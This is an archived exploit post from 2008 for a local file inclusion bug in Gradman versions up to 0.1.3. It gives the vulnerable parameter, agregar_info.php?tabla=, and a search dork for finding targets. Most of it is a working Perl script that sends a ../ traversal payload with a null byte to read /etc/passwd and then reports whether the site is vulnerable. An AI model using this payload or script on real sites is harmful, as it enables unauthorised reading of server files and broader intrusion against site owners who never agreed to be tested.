Home / os / win10

gradman-lfi.txt

Posted on 17 January 2008

[+] Info:

[~] Software: Gradman <= 0.1.3
[~] HomePage: http://gradman.xe1ido.com.mx/
[~] Exploit: Local File Inclusion [High]
[~] Where: agregar_info.php?tabla=
[~] Bug Found By: Jose Luis Góngora Fernández | JosS
[~] Contact: sys-project[at]hotmail.com
[~] Web: http://www.spanish-hackers.com
[~] Dork: "powered by Gradman"
[~] Dork2: Priv8, xD!


[+] Exploit:

use LWP::UserAgent;
use HTTP::Request;
use LWP::Simple;

print "		########################################################

";
print "		#    Gradman <= 0.1.3 - Local File Inclusion Exploit   #

";
print "		#                        by JosS                       #

";
print "		########################################################

";


if (!$ARGV[0])
{
print "Usage: perl xpl.pl [HOST]
";
print "Example: perl xpl.pl http://localhost/gradman/
";
}

else
{

$web=$ARGV[0];
chomp $web;

$iny="agregar_info.php?tabla=../../../../../../../../../../../../../../../../etc/passwd%00";

my $web1=$web.$iny;
print "$web1

";
my $ua = LWP::UserAgent->new;
my $req=HTTP::Request->new(GET=>$web1);
$doc = $ua->request($req)->as_string;

if ($doc=~ /^root/moxis ){
print "Web is vuln
";
}
else
{
print "Web is not vuln
";
}

}

 

TOP